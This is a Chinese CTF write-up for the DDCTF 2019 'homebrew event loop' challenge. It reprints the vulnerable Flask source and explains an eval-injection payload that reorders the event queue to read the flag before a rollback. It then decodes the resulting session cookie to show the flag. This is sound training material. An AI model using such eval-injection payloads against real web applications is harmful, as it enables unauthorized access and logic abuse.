[DDCTF 2019]homebrew event loop

首先打开环境
在这里插入图片描述
上面显示了几个链接,依次浏览

第一个点开是python代码
在这里插入图片描述
第二个点开,可以用1point买1个钻石,总共就3个point在这里插入图片描述
第三个是重置,重置了以后会把point返还
在这里插入图片描述
现在最有用的是最上面的python代码

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

进行代码审计

看到有两个命名与flag相关的函数

我们先看get_flag_handler(),要想flag就要满足session[‘num_items’] >= 5

在这里面提到了trigger_event(),来看一下

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

这个函数是往session里写日志,会记录下各个函数的调用,那么自然会把trigger_event(‘func:show_flag;’ + FLAG())存在放在session[‘log’]中,那么flag就会在session中

现在要想想怎么满足session[‘num_items’] >= 5

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume

buy_handler()会先加上num_items,然后再执行consume_point_function()函数,在consume_point_function()函数中,如果发现points不够会回滚,就是把num_items再减掉

那我只有3个point,买不了5个num_items怎么办呢

那我就要在num_items被减掉之前执行get_flag_handler()不就行了

ok,现在来看

def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

可以看到里面有一个可控eval函数,利用eval函数可以导致任意命令执行

若让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后

payload:?action:trigger_event%23;action:buy;5%23action:get_flag;

在这里插入图片描述
得到cookie:

Set-Cookie: session=.eJyNjt9LhEAcxP-V2Od70DUTBV9ClKRWMrvd_UaEPy7Pvd09QT3Tw_89CQrieuhtYGY-M2ckjzXyXs7oqkAe4pQYOXWHRKdTTisNLH4HBrLQjyLBoagieSpE21Ts4JAnsudW2hb4-gbw1mAYOk5LBy2bC5yKzV3Wmat14VSyCl1VRKFORt9Hy-tPG_R24HMrCmzPFTUls25PObWNZH72_yBpaIGVzpo4AKu_SL9Bcx651vdLUB97sLqRz7UJNFZkMkaC7-b7LJUkqPskkAIaU5GM20lAxENWTpAR93_DSA_qrel3qkOesUHtsdH9Kq3lE6ZAdjI.YAwzsw.b-YFccwPSLfcxOXj9EvSyxGjlx0; HttpOnly; Path=/

用flask-session-cookie-manager-master解密session
在这里插入图片描述

b'{"log":[{" b":"YWN0aW9uOnRyaWdnZXJfZXZlbnQjO2FjdGlvbjpidXk7NSNhY3Rpb246Z2V0X2ZsYWc7"},[{" b":"YWN0aW9uOmJ1eTs1"},{" b":"YWN0aW9uOmdldF9mbGFnOw=="}],[{" b":"ZnVuYzpjb25zdW1lX3BvaW50OzU="},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],{" b":"ZnVuYzpzaG93X2ZsYWc7ZmxhZ3swYzg1ZWJmNy0wN2IzLTRlNDgtODljZi1mNTY5ODNjMTcyZTN9"},{" b":"YWN0aW9uOnZpZXc7aW5kZXg="}],"num_items":0,"points":3}'

把ZnVuYzpzaG93X2ZsYWc7ZmxhZ3swYzg1ZWJmNy0wN2IzLTRlNDgtODljZi1mNTY5ODNjMTcyZTN9进行base64解码后

func:show_flag;flag{0c85ebf7-07b3-4e48-89cf-f56983c172e3}

成功获得flag
flag{0c85ebf7-07b3-4e48-89cf-f56983c172e3}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值